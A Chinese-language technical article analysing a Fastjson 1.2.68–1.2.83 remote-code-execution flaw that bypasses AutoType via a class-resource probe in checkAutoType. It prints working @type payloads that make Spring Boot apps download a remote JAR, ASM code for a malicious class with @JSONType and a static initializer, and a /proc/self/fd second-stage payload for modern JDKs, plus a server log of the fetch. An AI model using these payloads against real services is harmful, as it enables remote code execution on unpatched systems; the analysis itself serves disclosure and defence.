乐于分享
好东西不私藏

当“安全检查”先替攻击者下载字节码

当“安全检查”先替攻击者下载字节码

Fastjson 1.2.68–1.2.83 RCE 深度解析

摘要: 一次发生在 AutoType 拒绝之前的类资源探测,如何被 Spring Boot 类加载器解释成远程 JAR 下载,又如何借助 JAR 缓存和 /proc/self/fd 在现代 JDK 上继续走到类初始化。

2026 年 7 月 19 日晚,Kirill Firsov 在 X 上放出了一条很短的消息:Fastjson 1.2.83,AutoType 无需开启,不依赖目标 classpath 上的 gadget,可以直接 RCE。

Kirill Firsov 在 X 上首次披露漏洞

这几个条件放在一起,很容易让熟悉 Fastjson 的人感到违和。

很多遗留系统停在 1.2.83,理由其实并不难理解。因为在长期和 fastjson 对抗的时间里,83 版本仅可以基于 expectClass 和第三方库构成的 gadget 做极其有限的攻击利用,几乎无法 RCE,所以很多厂家没有选择更新到 FJ2,避免增加不确定性。

所以这一条消息出来后,引发了大家的广泛讨论。

漏洞公开后的社区讨论

可以看出,大家讨论的问题普遍集中在:当 AutoType 仍为 false 时,攻击者提供的类为什么会进入类加载流程?

本文就从这个问题开始进行深入探索。

Fastjson 1.2.68–1.2.83 RCE 解析

一、时间线与影响面

漏洞公开后的早期讨论大多围绕 1.2.83 和 JDK 8,随后 FearsOff 原始披露、阿里巴巴官方公告以及公开实验逐步补齐了现代 JDK 路径和准确影响范围。

时间
事件
信息
7 月 19 日 23:59
Kirill Firsov 在 X 首次公开
无 classpath gadget、单 payload 可到 RCE
7 月 21 日
FearsOff 发布技术细节
@JSONType
 资源探测、JDK 8 直达链、现代 JDK 的 FD 延续链
7 月 21 日
阿里巴巴发布 Critical 公告
官方影响范围为 1.2.68–1.2.83,给出验证矩阵和修复优先级
7 月 22 日
公开实验进一步完善
JDK 17/Linux、固定 DTO、控制组与检测脚本可复核
漏洞公开时间线

官方公告目前给出的结论如下:

  • • 受影响版本为 Fastjson 1.2.68–1.2.83
  • • 默认的 AutoType=false 仍可到达漏洞路径;
  • • SafeMode 必须处于关闭状态;
  • • 已验证 Spring Boot 2.x、3.x、4.x 的可执行 fat-jar;
  • • 已验证 JDK 8、11、17、21;
  • • Fastjson2、Fastjson 1.x 的 noneautotype 构建,以及已启用 SafeMode 的实例不受该路径影响
阿里巴巴官方安全公告

二、问题从哪一行代码开始

入口位于 ParserConfig.checkAutoType()

这个方法承担的是类型信任判断:收到 JSON 里的 @type 后,结合 SafeMode、AutoType、黑白名单、期望类型等条件,决定是否允许加载对应的 Java 类。按照通常的理解,AutoType 关闭后,危险类型应该在这里被挡住。

这是 1.2.83 版本源码中最关键的一段。为了便于阅读,下面保留控制流并加上了编号注释:

boolean jsonType = false;InputStream is = null;try {    // ① typeName 来自 JSON 的 @type。    //    这里先把 Java 类名改写成 classpath 资源路径。    String resource = typeName.replace('.', '/') + ".class";    if (defaultClassLoader != null) {        // ② 信任判断尚未完成,类加载器已经开始查找资源。        is = defaultClassLoader.getResourceAsStream(resource);    } else {        is = ParserConfig.class.getClassLoader()                .getResourceAsStream(resource);    }    if (is != null) {        // ③ ASM 只解析字节码,不需要先实例化这个类。        ClassReader reader = new ClassReader(is, true);        TypeCollector visitor =                new TypeCollector("<clinit>", new Class[0]);        reader.accept(visitor);        // ④ 被检查的字节码带有 @JSONType,就把 jsonType 置为 true。        jsonType = visitor.hasJsonType();    }} catch (Exception ignored) {    // 上游代码选择忽略资源探测异常。} finally {    IOUtils.close(is);}// ⑤ 即使 autoTypeSupport=false,jsonType=true 仍会进入 loadClass。if (autoTypeSupport || jsonType || expectClassFlag) {    boolean cacheClass = autoTypeSupport || jsonType;    clazz = TypeUtils.loadClass(            typeName, defaultClassLoader, cacheClass);}

可以看出,typeName 来自用户提交的 JSON;getResourceAsStream() 接受由它派生出的资源名;资源取回后,Fastjson 再去检查字节码里是否存在 @JSONType。只要结果为真,后面的 TypeUtils.loadClass() 就会执行。

在这段逻辑里,@JSONType 承担了信任信号的角色,而这个信号恰好写在待检查的类文件里。攻击者如果能够控制类文件来源,也就能让 jsonType 变成 true 。

屏幕截图 2026-07-22 221215

三、一个类名怎样变成远程 JAR 地址

Fastjson 原本只是想把 Java 类名转成 classpath 路径:

com.example.User        ↓ replace('.', '/')com/example/User.class

攻击者可以倒推这个替换过程,构造下面的 @type

替换前:jar:http:..2130706433:31337.f!.Evil替换后:jar:http://2130706433:31337/f!/Evil.class

其中:

  • • http:.. 经过替换变成 http://
  • • .f 变成 /f
  • • !.Evil 变成 !/Evil,恰好符合 JAR entry 语法;
  • • 2130706433 是 127.0.0.1 的整数形式,避免 IP 中的点被替换。
typeName 到 resource 的字符串变化

字符串构造完成后,还需要一个能够解释 jar:http: 资源名的 ClassLoader。普通 AppClassLoader 通常只会在本地 classpath 中查找资源;Spring Boot 可执行 fat-jar 为加载嵌套 JAR 建立了自己的 JAR URL 处理环境,公开利用正是借助这条资源查找链访问远程 JAR。

因此,Spring Boot 可执行 fat-jar 是这条公开利用链的关键环境条件。

四、从 @JSONType 到类初始化

攻击者提供的远程 JAR 中,需要准备一个内部名与 typeName 对应、并带有 @JSONType 的类。

简化后的生成逻辑如下:[4]

// 类文件内部名与 URL 形态的 typeName 保持一致。String internalName =        "jar:http://2130706433:31337/f!/Evil";ClassWriter cw = new ClassWriter(ClassWriter.COMPUTE_MAXS);cw.visit(        Opcodes.V1_8,        Opcodes.ACC_PUBLIC,        internalName,        null,        "java/lang/Object",        null);// 让 Fastjson 的字节码检查得到 jsonType=true。cw.visitAnnotation(        "Lcom/alibaba/fastjson/annotation/JSONType;",        true).visitEnd();// 类被初始化时执行的静态初始化方法。MethodVisitor clinit = cw.visitMethod(        Opcodes.ACC_STATIC,        "<clinit>",        "()V",        null,        null);

完整路径可以简化为下面几步:

攻击者提交 @type        ↓Fastjson 将类名改写成 jar:http 资源路径        ↓Spring Boot 类加载环境下载远程 JAR        ↓ASM 发现远程类带有 @JSONType        ↓jsonType=true,进入 TypeUtils.loadClass        ↓类初始化,执行 <clinit>

<clinit> 的执行发生在最终 DTO 绑定之前。接口随后即使返回 ClassCastException 或 autoType is not support,也不会撤销已经发生的类初始化。

image-20260723103336411

这也是为什么只看 HTTP 响应很容易误判:请求最终失败,不代表前面的字节码没有被加载。

image-20260723103819374
127.0.0.1 - - [22/Jul/2026 23:44:58] "GET /favicon.ico HTTP/1.1" 404 -127.0.0.1 - - [22/Jul/2026 23:45:00] "GET /POC.class HTTP/1.1" 200 -127.0.0.1 - - [22/Jul/2026 23:45:30] "GET /probe HTTP/1.1" 200 -127.0.0.1 - - [22/Jul/2026 23:45:30] "GET /probe HTTP/1.1" 200 -127.0.0.1 - - [22/Jul/2026 23:48:01] "GET /probe HTTP/1.1" 200 -127.0.0.1 - - [22/Jul/2026 23:48:01] "GET /probe HTTP/1.1" 200 -127.0.0.1 - - [22/Jul/2026 23:59:02] "GET /probe HTTP/1.1" 200 -127.0.0.1 - - [22/Jul/2026 23:59:02] "GET /probe HTTP/1.1" 200 -

五、现代 JDK 仍然可用

JDK 9 之后加强了类名校验,jar:http://... 内部名中的连续 // 会导致 defineClass() 失败。直接加载在这里被挡住,但失败发生时,远程 JAR 已经由前面的 getResourceAsStream() 下载。

研究者发现,JDK 的 JAR 缓存会让这个远程文件继续停留在 Java 进程的文件描述符中:

/proc/<PID>/fd/15    -> /tmp/jar_cacheXXXX.tmp (deleted)

于是高版本利用被拆成两步:

第一步:jar:http 下载远程 JAR第二步:jar:file:/proc/self/fd/N 重新打开缓存 JAR

请求中的类型大致如下:

[  {    "@type": "jar:http:..artifact:18081.x!.foo.Exception"  },  {    "@type": "jar:file:.proc.self.fd.15!.fd15.Exception"  },  {    "@type": "jar:file:.proc.self.fd.16!.fd16.Exception"  }]

第一个元素负责下载 JAR,并借助 1.2.83 对 Exception 后缀的 failure-soft 分支继续解析。后面的元素枚举 FD;命中后,jar:file:/proc/self/fd/N 不再包含 http:// 的双斜杠,可以通过现代 JDK 的类名校验,最终加载 JAR 中带有 @JSONType 的候选类。

JDK 8 与现代 JDK 的加载路径

这里可以发现:高版本挡住了第一次类定义,却没有撤销此前完成的远程 JAR 下载。第二阶段会从残留的 FD 继续执行。

image-20260723104916828

六、固定 DTO 也可能到达 @type

公开实验使用的是固定类型解析:

public final class BoundEnvelope {    // 嵌套元素仍然按照 Object 处理。    private List<Object> value;}final BoundEnvelope parsed =        JSON.parseObject(body, BoundEnvelope.class);

外层类型虽然固定,List<Object> 中的元素仍需要动态确定类型。Fastjson 在绑定列表元素时会处理其中的 @type,远程种子和 FD 候选就放在这里。

因此,固定 DTO 只能约束已经声明的类型结构;如果内部仍存在 ObjectMapList<Object> 等通道,前面的资源探测仍然可能发生。

七、总结

回到最初的代码,漏洞的核心并不复杂:

Fastjson 为了判断一个攻击者指定的类型是否可信,先根据攻击者指定的名字读取了类文件;随后又使用类文件中的 @JSONType 参与信任判断。

利用链中的几个组件都在执行原本的功能:

  • • Fastjson 把类名转换成资源路径;
  • • Spring Boot 解析嵌套 JAR;
  • • JDK 缓存已经打开的 JAR;
  • • Linux 通过 /proc/self/fd 暴露进程自己的文件描述符;
  • • JVM 在类初始化时执行 <clinit>

攻击者找到了一条能够连续穿过这些语义边界的字符串。replace('.', '/') 生成远程 URL,远程类自己提供 @JSONType,第一次加载留下的缓存又成为高版本路径的第二阶段入口。

这就是这条链的关键:问题出在检查顺序,后面的 AutoType 虽然会拒绝,但是已经来不及阻止前面发生的资源访问和类加载所导致的副作用。


参考资料

  1. 1. Alibaba / fastjson2 Wiki,官方安全公告:https://github.com/alibaba/fastjson2/wiki/Security-Advisory:-Remote-Code-Execution-in-fastjson-1.2.68%E2%80%931.2.83
  2. 2. FearsOff,漏洞发现者技术原文:https://fearsoff.org/cn/research/fastjson-1-2-83-rce
  3. 3. Fastjson 1.2.83 ParserConfig.javahttps://github.com/alibaba/fastjson/blob/1.2.83/src/main/java/com/alibaba/fastjson/parser/ParserConfig.java
  4. 4. dinosn,公开复现项目:https://github.com/dinosn/fastjson-jsontype-rce-lab/tree/master
  5. 5. Kirill Firsov,X 首发贴文:https://x.com/k_firsov/status/2078872293745570032
  6. 6. LoRexxar,类加载器与部署分析:https://lorexxar.cn/2026/07/21/fs1-2-83rce/

截至 2026 年 7 月 22 日,阿里巴巴官方公告未列出独立 CVE 编号。


作者:隐域-Cx330来源:技术校对:隐域-......初审:隐域-紫墨终审:隐域-血誓